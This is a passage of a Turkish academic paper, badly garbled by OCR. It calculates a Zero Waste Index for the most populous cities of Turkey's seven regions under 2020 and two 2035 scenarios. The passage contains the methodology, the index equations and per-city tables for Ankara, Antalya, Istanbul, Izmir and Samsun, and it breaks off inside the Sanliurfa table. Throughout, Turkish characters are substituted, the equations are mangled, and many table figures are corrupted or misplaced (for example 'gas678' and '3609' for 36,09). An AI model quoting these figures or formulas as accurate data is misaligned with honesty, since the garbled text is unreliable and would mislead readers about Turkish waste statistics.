degerlendirilmesi ile ilgili ¢alismalarin {ilke genelindeki durumun degerlendirilmesi
bakimindan smirl kaldigi, daha kiiciik 6l¢ekte degerlendirmeler yapildig: goriilmiistiir. Dogdu
(2022), yaptig1 calismada Istanbul ili i¢in SAI hesaplamasini 2019 yili atik miktarlarini
kullanilarak yapmus; 2023 ve 2035 yillarini iyimser ve kotiimser olarak iki farkli senaryoda
degerlendirmistir. Macin ve Arikan (2021), yaptiklar1 calismada Istanbul Teknik Universitesi
Ayazaga Yerleskesi icin kampiiste SA uygulamasi yapildiginda SAI degerini%63 olarak
hesaplamis ve SA uygulamasinin olumlu sonuglari olacagini belirtmislerdir.

Geri kazanim oranmin 2035 yilina kadar Tiirkiye genelinde SA projesinin kapsamli
uygulanmasiyla birlikte 60°a ¢ikarilmasi hedeflenmektedir (TUCA, 2022). Yapilan literatiir
taramasinda Tiirkiye igin SAI hesaplanmadig1 tespit edilmistir. Bu ¢alismanin 6zgiin yonii,
Tiirkiye’deki 7 farkli bolgenin en kalabalik illeri icin ilk defa SAI hesaplanmasi ve 2035 yili
icin kaynak doniisiimiine bagl atik yonetiminin ortaya koyulmasidir. Bu ¢alismada, kat1 atik
yonetim sistemlerinin gelistirilmesi ve uygulanmasinda kullanigh bir arag olabilecek SAI’nin
onemini vurgulayarak etkin kullaniminin yayginlagsmasina katki sunulmustur. Calismanin
amaci, atik yonetiminde bir ara¢ olan SAID’yi kullanarak Tiirkiye’de kentsel kati atik

yonetiminin mevcut ve gelecekteki SA yaklagimiyla degerlendirilmesidir. Calisma,
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halihazirda ylriitiilen ve/veya yiriitilmesi hedeflenen SA yoOnetimi politikalarinin
degerlendirilmesi ve gelecekte atilacak adimlar1 belirlemesine yardimer olmast igin bilimsel

bir temel olusturmasi hedeflemektedir.

Materyal ve Metot

Tiirkiye’nin jeopolitik agidan 6nemli bir konuma sahip, niifus yogunlugu fazla bir iilke
oldugu dikkate alindiginda; atik yonetiminin stratejik bir 6neme sahip oldugu agiktir. Bu
calisma kapsaminda; TUIK 2020 (URL-4) verilerine gore Tiirkiye’nin 7 bolgesinin en
kalabalik illeri olan Ankara (I¢ Anadolu Bélgesi), Antalya (Akdeniz Bélgesi), Istanbul
(Marmara Bélgesi), izmir (Ege Bélgesi), Samsun (Karadeniz Bélgesi), Sanlurfa (Giineydogu
Anadolu Bolgesi) ve Van (Dogu Anadolu Bolgesi) segilerek bu illerin 2020 kétiimser ve 2035
yili i¢in de iyimser ve kotiimser senaryo olmak iizere iki farkli yaklasima gére SAI’leri
hesaplanmistir. Tiirkiye sifir atik projesi uygulamalar ¢ergcevesinde, 2023 yilina kadar en az
%35 oraninda geri kazanim hedefine ulagilmasi beklenirken 2035 yilinda bu hedefin %60’lara
¢ikarilmasi planlanmaktadir (TUCA, 2022). Bu calismada, kdtiimser senaryo kapsaminda atik
geri doniisiimii yapilmadan yalnizca niifus artisina bagl hesaplamalar yapilarak sonuglar buna
gore degerlendirilmistir. Iyimser senaryoda ise, Tiirkiye sifir atik projesi uygulamalari
cergevesinde olusan atiklarin 2035 yilinda %60°nin geri dontstiiriildigi kabul edilerek bu
hedefe dayali hesaplamalar yapilmistir. Ayrica Tiirkiye’de iller bazinda atik istatistikleri toplu
halde giincel olarak en son 2020 yilinda TUIK tarafindan yaymlanmis olup (URL-5), 2035
yil1 igin hesaplamalar yapilirken 2020 yilindaki mevcut verilerden faydalanilmistir.

SAI ile atik ydnetim sistemleri tarafindan ikame edilebilecek bakir malzemelerin
potansiyeli ol¢iiliir. Yani sira, geri kazanilan malzeme ve miktarina bagh olarak; enerji, sera
gazi ve su tasarrufu saglanmis olur. Zaman ve Swapan (2016), sera gazi, enerji ve su
tasarrufunun yam sira malzemelerin ikame verimliligi degerlendirilmesinin de SAI ile
olgiilebilecegini ifade etmislerdir. SAI hesaplamasi, kati atiklardan geri kazanilabilme
potansiyeli olan islenmemis malzeme miktarinin, yonetilebilen toplam kati atik miktarina
béliinmesiyle elde edilir. SAI, Denklem 1 ve Denklem 2 kullanilarak elde edilmektedir

(Zaman ve Lehmann, 2013):

__ Y kent tarafindan yonetilen potansiyel atik miktarixsistemler i¢in ikame faktori

SAI(ZWI)

1)

kentte olusan toplam atik miktart

YT MSWij SFij

SAIL (ZWI)= Ssw, 2)
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MSWij=sistem tarafindan yonetilebilen atik miktar1 (i= 1,2,3,...n

cam, Kkarisik,

organik, vb.; j=1,2,3,... n=kaginilan, geri doniistiiriilebilen, aritilabilen, atik miktart).

SFij= sistem tarafindan yonetilebilen atik miktart i¢in ikame faktorii (i= 1,2,3,...n=cam,

karisik, organik vb.; j=1,2,3,... n=kaginilan, geri doniistiiriilebilen, aritilabilen, atik miktar).

MSW;= yonetilebilen toplam kentsel kati1 atik miktari(i= 1,2,3,...n= cam, karisik, organik,

vb).

SAI icin atik ydnetim sistemlerinden gelen kaynagimn ikame degerleri; malzeme, enerji,

sera gazlar1 (GHG) emisyonlar1 ve su olarak Tablo 1°de gosterilmistir (Zaman, 2014).

Tablo 1. SAI igin atik ydnetim sistemlerinden gelen kaynagin ikame degerleri(Zaman, 2014)

I Bakir malzeme Enerji ikame Sera. gazi (GHG)
Atik yonetim .. . . P emisyonlarinin Su tasarrufu
. . Atik kategorisi ikame verimliligi verimliligi
sistemi (ton) (GILHV/ton) azaltilmasi (kL/ton)
(COgze/ton)
Kagit 0,84-1,00 6,33-10,76 0,60-3,20 291
Cam 0,90-1,00 6,07-6,85 0,18-0,62 2,30
Geri Doniisim Metal 0,79-0,96 36,09-191,42 1,40-17,8 5,97-181,77
Plastik 0,90-0,97 38,81-64,08 0,95-1,88 -11,37
Karisik 0,25-0,45 5,00-15,00 1,15 2,0-10
Kompostlama Organik 0,60-0,65 0,18-0,47 0,25-0,75 0,44
T Karisik Kentsel A asb 3 )
Diizenli depolama Atk (MW?) 0,00 0,00-0,84 (-)0,42-1,2 0,00

Pozitif bir deger tasarruflari, negatif bir deger ise talebi veya tilkenmeyi ifade eder.

aKentsel atigin ortalama bilesimi (MW)
¢ Depolama tesisinden gelen enerji.

Vaka Calismasi: Tiirkiye icin SAI Model Onerisi

Ic Anadolu Bélgesi'nde bulunan baskentimiz Ankara’nin 2020

kompozisyonu ve atik yonetimi Sekil 1-a ve Sekil 1-b’de sirasiyla gosterilmistir.
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m Kagit = Cam = Plastik
Metal H Biyobozunur atiklar ® Park-bahge atiklari

Diger yanabilir Diger yanmayanlar

.

|/
0.82%

= Diizenli depolama tesislerine gonderilen

= Belediye ¢opliigline gonderilen

= Geri doniisiim tesislerine gonderilen
Sekil 1(a). Ankara’nin 2020 y1ili kentsel atik kompozisyonu (URL-6), (b) Ankara 2020 yil1 atik yonetimi (URL-5)
2020 ve 2035 yillarina ait Ankara’daki atik miktarlarina gére SAI hesaplarinin yer
aldig1 bilgiler Tablo 2, 3 ve 4’te gosterilmistir.

Tablo 2. Ankara ilinin 2020 y1l1 kétiimser senaryoya ait SA indeksi (URL-5)

Sera gazi (GHG)

Yonetilen Bakir mal.lzem.ew Ener.ji Ika[ne emisyonlarinin Su tasarrufu
Atik ySnetim Atik toplam ikame verimliligi verimliligi azaltilmasi (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel Verim  Potansiyel  Verim  Potansiyel  Verim  Potansiyel
Kagit 39808 0,84 33439 6,33 251985 0,60 23885 2,91 115841
) Cam 58264 0,90 52438 6,07 353665 0,18 10488 2,30 134008
“G?n“ Metal 10857 0,79 8577 36,09 391819 1,40 15199 5,97 64815
Donitistim
Plastik 22920 0,90 20628 38,81 889516 0,95 21774 -11,37 -260598
Karigik 552125 0,25 138031 5,00 2760625 1,15 634944 2,0 1104250
Kompostlama  Organik 522329 0,60 313398 0,18 94019 0,25 130582 0,44 229825
Karisik
Dizenli Kentsel 907082 0,00 0,00 0,00 0,00 (042  -378959 0,00 0,00
depolama Atik
(MW?)
Toplam deger 2108585 566510 4741628,642 457913 1388141,164
Kisi basina
yillik fayda 0.37 0,10 0,84 0,08 0,25
SA indeksi
(SAi=v/iv) 0.27
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Tablo 3. Ankara ilinin 2035 y1li kétiimser senaryoya iligkin SA indeksi (URL-5)

Bakir malzeme

Enerji ikame

Sera gazi (GHG)

) Yonetilen . R D e emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi ~ atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
() Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 39808 0,84 33439 6,33 251985 0,60 23885 2,91 115841
] Cam 58264 0,90 52438 6,07 353665 0,18 10488 2,30 134008
Deﬁﬁ?ﬁm Metal 10857 0,79 8577 3609 391819 140 15199 5,97 64815
Plastik 22920 0,90 20628 38,81 889516 0,95 21774 -11,37 -260598
Karigik 552125 0,25 138031 5,00 2760625 1,15 634944 2,0 1104250
Kompostlama  Organik 522329 0,60 313398 0,18 94019 0,25 130582 0,44 229825
Karisik
Diizenli Kentsel 1317713 0,00 0,00 0,00 000  ()042  -553439 0,00 0,00
depolama Atik
(Mwe)
Toplam deger 2524016 566510 4741629 283432 1388141
Kisi basina
yillik fayda 0,38 0,08 0,71 0,04 0,21
SA indeksi
(SAi=viiv) 0.22

Tablo 4. Ankara ilinin 2035 yil1 iyimser senaryoya iliskin SA indeksi (URL-5)

Sera gazi (GHG)

Yonetilen . Bakir ma.lzem.e,. Ener.ji Ika':ne emisyonlarinin Su tasarrufu
Atik yénetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel  Verim  Potansiyel
Kagit 49976 0,84 41979 6,33 316345 0,60 29985 2,91 145429
) Cam 73146 0,90 65831 6,07 443996 0,18 13166 2,30 168236
Dé(riieigﬁm Metal 13630 0,79 10767 36,09 491895 1,40 19082 5,97 81369
Plastik 28774 0,90 25896 38,81 1116710 0,95 27335 -11,37 -327158
Karigik 552608 0,25 138152 5,00 2763040 1,15 635499 2,0 1105216
Kompostlama  Organik 796277 0,60 477766 0,18 143330 0,25 199069 0,44 350362
Karigik
Dizenli Kentsel 1500606 0,00 0,00 0,00 0,00 (042  -424035 0,00 0,00
depolama Atik
(MW
Toplam deger 2524016 760393 5275316,862 500101,9437 1523453,581
Kisi basina
yillik fayda 0,38 011 0,78 0,07 0,23
SA indeksi
(SAi=v/iv) 0,30

Akdeniz Bolgesi’'nde bulunan Antalya’nin 2020 kentsel atik kompozisyonu ve atik

yonetimi Sekil 2-a ve Sekil 2-b’de sirastyla gosterilmistir.
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0%

1%

mKagit u Cam

H Plastik = Metal

m Biyolojik olarak ¢oziinebilir atik ® Elektrik-elektronik
Tehlikeli atik Diger yanabilir

Diger yanamayan

u Diizenli depolama tesislerine génderilen

u Belediye ¢opliigiine gonderilen
u Geri doniistim tesislerine gonderilen

Diger bertaraf yontemleri

Sekil 2. (a)Antalya’nin’ 2020 yili kentsel atik kompozisyonu (URL-7) , (b) Antalya 2020 yili atik yonetimi (URL-
5)

2020 ve 2035 yillarma ait Antalya’daki atik miktarlarina gore SAI hesaplarinin yer
aldig1 bilgiler Tablo 5, 6 ve 7°de gosterilmistir.
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Tablo 5. Antalya ilinin 2020 y1l1 kétiimser senaryoya iligkin SA indeksi (URL-5)

) . ... Sera gaz1 (GHG)
Yonetilen . Bakir ma.lzern.e:. Ener.“ II.(a.lrf.]e emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kLJton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel Verim  Potansiyel  Verim  Potansiyel  Verim  Potansiyel
Kagit 22775 0,84 19131 6,33 144166 0,60 13665 2,91 66275
) Cam 23761 0,90 21385 6,07 144232 0,18 4277 2,30 54651
sert Metal 1479 0,79 1169 3609 53395 1,40 2071 5,97 8833
Dontistim
Plastik 31159 0,90 28043 38,81 1209273 0,95 29601 -11,37 -354276
Karisik 1116103 0,25 279026 5,00 5580513 1,15 1283518 2,0 2232205
Kompostlama  Organik 123335 0,60 74001 0,18 22200 0,25 30834 0,44 54267
Karigik
Diizenli Kentsel 1515330 0,00 0,00 0,00 0,00 (042  -426439 0,00 0,00
depolama Atik
(MW?)
Toplam deger 2333944 422755 7153778,661 937527 2061955,960
Kisi basina
yillik fayda 0,92 0,17 2,81 0,37 0,81
SA indeksi
(SAi=v/iv) 0,18

Tablo 6. Antalya ilinin 2035 yili kétiimser senaryoya iliskin SA indeksi (URL-5)

] . ... Sera gaz1 (GHG)
Yonetilen 1‘3 akir ma.lzelT.e,. Ener.jl Ill.(le.lme emisyonlarinin Su tasarrufu
Atk yonetim Atk toplam  ikame verimliligi verimliligi azaltilmas1 KL /ton
sisteri Kategorisi  atik (ton) (ton) (v) (GILHV/ton) . (kLftor)
(iv) Verim Potansiyel Verim  Potansiyel  Verim Potansiyel ~ Verim  Potansiyel
Kagit 22775 0,84 19131 6,33 144166 0,60 13665 2,91 66275
_ Cam 23761 090 21385 607 144232 0,18 4277 2,30 54651
sert Metal 1479 0,79 1169 3609 53395 1,40 2071 5,97 8833
Doniistim
Plastik 31159 0,90 28043 38,81 1209273 0,95 29601 -11,37 -354276
Karisik 1116103 0,25 279026 5,00 5580513 1,15 1283518 2,0 2232205
Kompostlama  Organik 123335 0,60 74001 0,18 22200 0,25 30834 0,44 54267
Karigik
Diizenli Kentsel 95584 0,00 0,00 0,00 0,00 ()0,42  -166145 0,00 0,00
depolama Atik
(MW?)
Toplam deger 1714196 422755 7153779 1197821 2061956
Kisi basina
yillik fayda 0,52 0,13 2,16 0,36 0,62
SA indeksi
(SAi=v/iv) 0,25
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Tablo 7. Antalya ilinin 2035 y1l1 iyimser senaryoya iliskin SA indeksi (URL-5)

Bakir malzeme

Enerji ikame

Sera gazi (GHG)

) Yonetilen . S D e emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi ~ atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
() Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 104497 0,84 87778 6,33 661468 0,60 62698 2,91 304087
Cam 109023 0,90 98121 6,07 661769 0,18 19624 2,30 250753
Geri
Déniisiim Metal 6788 0,79 5363 36,09 244987 1,40 9504 5,97 40526
Plastik 142964 0,90 128668 38,81 5548431 0,95 135816 -11,37  -1625500
Karigik 99355 0,25 24839 5,00 496774 1,15 114258 2,0 198710
Kompostlama  Organik 565890 0,60 339534 0,18 101860 0,25 141473 0,44 248992
Karisik
Diizenli Kentsel  gas678 0,00 0,00 0,00 0,00 ()0,42  -287985 0,00 0,00
depolama Atik
(MW
Toplam deger 1714196 684302 7715289,265 195387,4949 -582433,0797
Kisi basina )
yillik fayda 0,52 0,21 2,33 0,06 0,18
SA indeksi
(SAi=v/iv) 0,40

Marmara Bélgesi'nde bulunan Istanbul’un 2020 kentsel atik kompozisyonu ve atik

yonetimi Sekil 3-a ve Sekil 3-b’de sirasiyla gosterilmistir.

2020 ve 2035 yillarina ait Istanbul’daki atik miktarlarina gore SAI hesaplarinim yer

aldig1 bilgiler Tablo 8, 9 ve 10’da gosterilmistir.
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2%

mKagit mCam
m Hijyenik ped m Posget
m Plastik = Metal
H Biyolojik olarak ¢oziinebilir atik @ Kompozit
m Elektrik-elektronik Tehlikeli atik
m Tekstil u Bebek bezi
Diger yanabilir Diger yanamayan
10.75%
0%

= Diizenli depolama tesislerine gonderilen
= Belediye ¢opliigiine gonderilen

= Geri doniislim tesislerine gonderilen

Sekil 3. (a) istanbul’un2020 y1l1 kentsel atik kompozisyonu (URL-8) , (b) istanbul 2020 yil1 atik yénetimi (URL-
5)
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Tablo 8. istanbul ilinin 2020 y1li kétiimser senaryoya iliskin SA indeksi (URL-5)

Sera gazi (GHG)

) Yonetilen . Bakir ma.lzem.e,. Ener)i ".(e.",n.e emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COz¢/ton)
(iv) Verim  Potansiyel ~Verim  Potansiyel  Verim  Potansiyel ~ Verim  Potansiyel
Kagit 77657 0,84 65232 6,33 491571 0,60 46594 2,91 225983
) Cam 36884 0,90 33195 6,07 223883 0,18 6639 2,30 84832
Doiflg'um Metal 7481 0,79 5910 3609 270005 1,40 10474 597 44664
Plastik 17806 0,90 16025 38,81 691044 0,95 16916 -11,37  -202452
Karisik 247935 0,25 61984 5,00 1239675 1,15 285125 2,0 495870
Kompostlama  Organik 360381 0,60 216229 0,18 64869 0,25 90095 0,44 158568
Karisik
Diizenli Kentsel 0,00 0,00 0,00 0,00 (0,42  -2608762 0,00 0,00
depolama Atik
(MW?) 6211337
Toplam deger 6959481 398575 2981047,301 -2152918 807464,595
Kisi bagina )
yillik fayda 0,45 0,03 0,19 0,14 0,05
SA indeksi
(SAi=v/iv) 0.06

Tablo 9. istanbul ilinin 2035 y1l1 kotiimser senaryoya iliskin SA indeksi (URL-5)

Yonetilen Bakir malzeme Enerji ikame Serq gaz1 (GHG)
o . IS A emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
(iv) Verim  Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 77657 0,84 65232 6,33 491571 0,60 46594 2,91 225983
. Cam 36884 0,90 33195 6,07 223883 0,18 6639 2,30 84832
Déig;'ﬁm Metal 7481 0,79 5910 36,09 270005 1,40 10474 597 44664
Plastik 17806 0,90 16025 38,81 691044 0,95 16916 -11,37 -202452
Karisik 247935 0,25 61984 5,00 1239675 1,15 285125 2,0 495870
Kompostlama Organik 360381 0,60 216229 0,18 64869 0,25 90095 0,44 158568
Karisik
Dizenli Kentsel  go53638 0,00 0,00 0,00 0,00 (0,42  -3466528 0,00 0,00
depolama Atik
(MW#)
Toplam deger 9001782 398575 2981047 -3010684 807465
Kisi basina
yﬂflk f:y i 0.45 0,02 0,15 -0,15 0,04
SA indeksi
(SAi=v/iv) 0,04
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Tablo 10. istanbul ilinin 2035 yil1 iyimser senaryoya iliskin SA indeksi (URL-5)

. S GHG
Yonetilen Bakir ma.'ze!“.e.. Ener]i ".“?‘[‘?e :r?isg;:rlll(annm) Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemni kategorisi  atik (ton) (ton) (v) (GILHV/ton) (COzefton)
(v) Verim  Potansiyel ~Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 560631 0,84 470930 6,33 3548794 0,60 336379 2,91 1631436
] Cam 266273 0,90 239645 6,07 1616275 0,18 47929 2,30 612427
Doiﬁg'um Metal 54011 079 42668 3609 1949246 140 75615 597 322444
Plastik 128545 0,90 115691 38,81 4988849 0,95 122118 -11,37 -1461562
Karigik 1789914 0,25 447479 5,00 8949572 1,15 2058402 2,0 3579829
Kompostlama  Organik 2601695 0,60 1561017 0,18 468305 0,25 650424 0,44 1144746
Karigik
Dizenli Kentsel 5600713 0,00 0,00 0,00 0,00 (10,42  -1512299 0,00 0,00
depolama Atik
(MwW?)
Toplam deger 9001782 2877430 21521041,47 1778566,732 5829320,126
Kisi basina
yillik fayda 0,45 0,14 1,08 0,09 0,29
SA indeksi
(SAi=v/iv) 0,32

Ege Bolgesi’nde bulunan Izmir’in 2020 kentsel atik kompozisyonu ve atik ydnetimi

Sekil 4-a ve Sekil 4-b’de sirasiyla gosterilmistir.

7% 4% 0%

2%

7%
0%\ .

1%

m Kagit mCam
H Plastik Metal
® Biyolojik olarak ¢oziinebilir atik = Elektrik-elektronik

Tehlikeli atik Hacimli atiklar
Diger yanabilir Diger yanamayan
]
12.17% ~0.005%

5.18%

m Diizenli depolama tesislerine gonderilen
u Belediye ¢opliigiine gonderilen
® Geri doniisiim tesislerine gonderilen

Diger bertaraf yontemleri

Sekil 4. (3)izmir’in 2020 yil1 kentsel atik kompozisyonu (URL-9) , (b) izmir 2020 yil1 atik yénetimi (URL-5)
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2020 ve 2035 yillarina ait izmir’deki atik miktarlarma gore SAI hesaplarinin yer aldig

bilgiler Tablo 11, 12 ve 13’te gosterilmistir.

Tablo 11. izmir ilinin 2020 y1l1 kdtiimser senaryoya iliskin SA indeksi (URL-5)

Bakir malzeme

Enerji ikame

Sera gazi (GHG)

] Yonetilen . R R emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi ~ atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
() Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 20676 0,84 17368 6,33 130882 0,60 12406 2,91 60168
] Cam 30147 0,90 27132 6,07 182993 0,18 5426 2,30 69339
..G?n.. Metal 2304 0,79 1820 36,09 83141 1,40 3225 5,97 13753
Donitistim
Plastik 20932 0,90 18839 38,81 812386 0,95 19886 -11,37 -238001
Karigik 2108291 0,25 527073 5,00 10541453 1,15 2424534 2,0 4216581
Kompostlama  Organik 154604 0,60 92762 0,18 27829 0,25 38651 0,44 68026
Karigik
Diizenli Kentsel 1931490 0,00 0,00 0,00 0,00 (042  -811227 0,00 0,00
depolama Atik
(MW?)
Toplam deger 4268446 684995 11778682,42 1692901 4189865,540
Kisi basina
yillik fayda 0,97 0,16 2,68 0,39 0,95
SA indeksi
(SAi=v/iv) 0,16

Tablo 12. Izmir ilinin 2035 y1li kétiimser senaryoya iliskin SA indeksi (URL-5)

Sera gaz1 (GHG)

Yonetilen 1‘3 akir ma.lzelT.e,. Ener.ji ill.(le.lme emisyonlarinin Su tasarrufu
Atk yonetim Atk toplam  ikame verimliligi verimliligi azaltilmast KL /ton
sisteri_ Kategorisi  atik (ton) (ton) (v) (GILHV/ton) . (kLftor)
(v) Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel  Verim  Potansiyel
Kagit 20676 0,84 17368 6,33 130882 0,60 12406 2,91 60168
_ Cam 30147 0,90 27132 6,07 182993 0,18 5426 2,30 69339
cert Metal 2304 0,79 1820 3609 83141 1,40 3225 5,97 13753
Dontisiim
Plastik 20932 0,90 18839 3881 812386 0,95 19886  -11,37  -238001
Kangik 2108291 0,25 527073 500 10541453 1,15 2424534 2,0 4216581
Kompostlama ~ Organik 154604 0,60 92762 0,18 27829 0,25 38651 0,44 68026
Karigik
Diizenli Kentsel 701086 0,00 0,00 0,00 0,00 (0,42  -294456 0,00 0,00
depolama Atik
(MW?)
Toplam deger 3038040 684995 11778682 2209672 4189866
Kisi basina
Pk foyda 0,53 0,12 2,06 0,39 073
SA indeksi
(SAi=v/iv) 0.28
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Tablo 13. izmir ilinin 2035 y1l1 iyimser senaryoya iliskin SA indeksi (URL-5)

Sera gazi (GHG)

Yonetilen Bakir malzeme Enerji ikame emisvonlarnin
Atik yonetim Atik toplam ikame verimliligi verimliligi az;,l tlmast Su tasarrufu (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GILHV/ton) (COze/ton)
() Verim  Potansiyel Verim  Potansiyel ~ Verim  Potansiyel Potansiyel
Kagit 132519 0,84 111316 6,33 838847 0,60 79512 385631
] Cam 193219 0,90 173897 6,07 1172841 0,18 34779 444405
Daﬁégum Metal 14765 0,79 11664 3609 532864 140 20671 88146
Plastik 134160 0,90 120744 38,81 5206744 0,95 127452 -1525398
Karigik 357274 0,25 89318 5,00 1786368 1,15 410865 714547
Kompostlama  Organik 990887 0,60 594532 0,18 178360 0,25 247722 435990
Karigik
Diizenli Kentsel 1515016 0,00 0,00 0,00 000  ()042  -510391 0,00
depolama Atik
(MW
Toplam deger 3038040 1101472 9716024,407 410609,3609 543321,8937
Kisi bagina
yillik fayda 0,53 0,19 1,70 0,072 0,10
SA indeksi
(SAI=v/iv) 0.36

Karadeniz Bolgesi’'nde bulunan Samsun’un 2020 kentsel atik kompozisyonu ve atik

yonetimi Sekil 5-a ve Sekil 5-b’de sirasityla gosterilmigtir. 2020 ve 2035 yillara ait

Samsun’daki atik miktarlarma goére SAI hesaplarmin yer aldig1 bilgiler Tablo 14, 15 ve 16°da

gosterilmistir.
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0% 4% 2% 6%

0%

4%
m Kagit m Cam
m Plastik = Metal
m Biyolojik olarak ¢oziinebilir attk ~ m Elektrik-elektronik
Tehlikeli atik Diger yanabilir
Diger yanamayan Diger

m Diizenli depolama tesislerine gonderilen

= Geri doniigiim tesislerine gonderilen

Sekil 5. (a) Samsun’un 2020 y1l1 kentsel atik kompozisyonu (URL-10) , (b) Samsun 2020 y1l1 atik yonetimi
(URL-5)
Tablo 14. Samsun ilinin 2020 y1li kotiimser senaryoya iliskin SA indeksi (URL-5)

Sera gazi (GHG)

Yonetilen Bakir ma.'zef",":. Ener.ji Ika[ne emisyonlarinin Su tasarrufu
Atik ySnetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 2411 0,84 2025 6,33 15262 0,60 1447 2,91 7016
) Cam 1349 0,90 1214 6,07 8186 0,18 243 2,30 3102
"G?n“ Metal 1151 0,79 909 36,09 41523 1,40 1611 5,97 6869
Donitistim
Plastik 5923 0,90 5330 38,81 229853 0,95 5626 -11,37 -67339
Karigik 366536 0,25 91634 5,00 1832679 1,15 421516 2,0 733072
Kompostlama  Organik 15580 0,60 9348 0,18 2804 0,25 3895 0,44 6855
Karigik
Diizenli Kentsel — s61512 0,00 0,00 0,00 0,00 (042  -151835 0,00 0,00
depolama Atik
(MW?)
Toplam deger 754460 110460 2130307,862 282502 689574,537
Kisi basina
yillik fayda 0,56 0,08 1,57 0,21 0,51
SA indeksi
(SAi=vi/iv) 0.15
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Tablo 15. Samsun ilinin 2035 yili kotiimser senaryoya iligkin SA indeksi (URL-5)

Sera gazi (GHG)

Yonetilen . Bakir ma.lzern.ew Ener.ji ".(e.",n.e emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi ~ atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
() Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 2411 0,84 2025 6,33 15262 0,60 1447 2,91 7016
] Cam 1349 0,90 1214 6,07 8186 0,18 243 2,30 3102
D..G?”.. Metal 1151 0,79 909 3609 41523 1,40 1611 5,97 6869
Oniislim
Plastik 5923 0,90 5330 38,81 229853 0,95 5626 -11,37 -67339
Karigik 366536 0,25 91634 5,00 1832679 1,15 421516 2,0 733072
Kompostlama  Organik 15580 0,60 9348 0,18 2804 0,25 3895 0,44 6855
Karisik
Diizenli Kentsel - ga0sp 0,00 0,00 0,00 000  ()042  -24756 0,00 0,00
depolama Atik
(MW
Toplam deger 451890 110460 2130308 409582 689575
Kisi basina
yillik fayda 0.29 0,07 1,37 0,26 0,44
SA indeksi
(SAi=v/iv) 0,24

Tablo 16. Samsun ilinin 2035 y1li iyimser senaryoya iligkin SA indeksi (URL-5)

Sera gazi (GHG)

Yonetilen . Bakir ma_lzem.ew Ener.ji Ika':ne emisyonlarinin Su tasarrufu
Atk yonetim Atik toplam ikame verimliligi verimliligi azaltilmasi (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel  Verim  Potansiyel
Kagit 20796 0,84 17469 6,33 131639 0,60 12478 2,91 60516
. Cam 11632 0,90 10468 6,07 70604 0,18 2094 2,30 26753
"G?n“ Metal 9924 0,79 7840 36,09 358140 1,40 13893 5,97 59243
Dontistim
Plastik 51082 0,90 45974 38,81 1982480 0,95 48528 -11,37 -580799
Karigik 162464 0,25 40616 5,00 812318 1,15 186833 2,0 324927
Kompostlama  Organik 15238 0,60 9143 0,18 2743 0,25 3809 0,44 6705
Karisik
Diizenli Kentsel 100756 0,00 0,00 0,00 0,00 (042  -75918 0,00 0,00
depolama Atik
(MW?)
Toplam deger 451890 131509 3357923,827 191716,8528 -102654.4062
Kisi basina
yillik fayda 0,29 0,08 2,15 0,12 -0,07
SA indeksi
(SAi=v/iv) 0,29

Glineydogu Anadolu Bolgesi’'nde bulunan Sanlurfa’nin 2020  kentsel atik

kompozisyonu ve atik yonetimi Sekil 6-a ve Sekil 6-b’de sirasiyla gosterilmistir.
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mKagit m Cam = Plastik = Metal mBiyolojik olarak ¢6ziinebilir atik

m Diizenli depolama tesislerine gonderilen

® Belediye ¢opliigiine gonderilen

® Geri doniisiim tesislerine gonderilen

Sekil 6. (a)Sanliurfa’nin 2020 yili kentsel atik kompozisyonu (URL-11) , (b) Sanlturfa 2020 y1l1 atik yonetimi
(URL-5)

2020 ve 2035 yillarina ait Sanlurfa’daki atik miktarlarina gére SAI hesaplarmin yer
aldig bilgiler Tablo 17, 18 ve 19°da gosterilmistir.
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Tablo 17. Sanlurfa ilinin 2020 yili kdtiimser senaryoya iligkin SA indeksi (URL-5)

Bakir malzeme

Enerji ikame

Sera gazi (GHG)

) Yonetilen . R D e emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
